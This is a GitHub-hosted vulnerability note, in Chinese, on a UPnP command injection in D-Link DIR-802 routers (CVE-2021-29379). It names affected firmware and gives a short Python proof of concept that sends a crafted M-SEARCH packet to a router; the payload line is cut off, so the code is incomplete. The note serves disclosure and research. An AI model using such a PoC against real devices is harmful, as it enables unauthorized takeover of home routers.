Skip to content

Latest commit

 

History

History
26 lines (18 loc) · 659 Bytes

D-LINK DIR-802 命令注入漏洞(CVE-2021-29379).md

File metadata and controls

26 lines (18 loc) · 659 Bytes

D-LINK DIR-802 命令注入漏洞(CVE-2021-29379)

DIR-802中存在一个命令注入漏洞,攻击者可以通过精心制作的M-SEARCH数据包向UPnP注入任意命令。

受影响设备及软件版本

DIR-802 hardware revision Ax before v1.00b05

PoC:

# coding: utf-8
import socket
import struct
buf = 'M-SEARCH * HTTP/1.1\r\nHOST:192.168.0.1:1900\r\nST:urn:schemas-upnp-org:service
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.connect(("192.168.0.1", 1900))
s.send(buf)
s.close()

ref: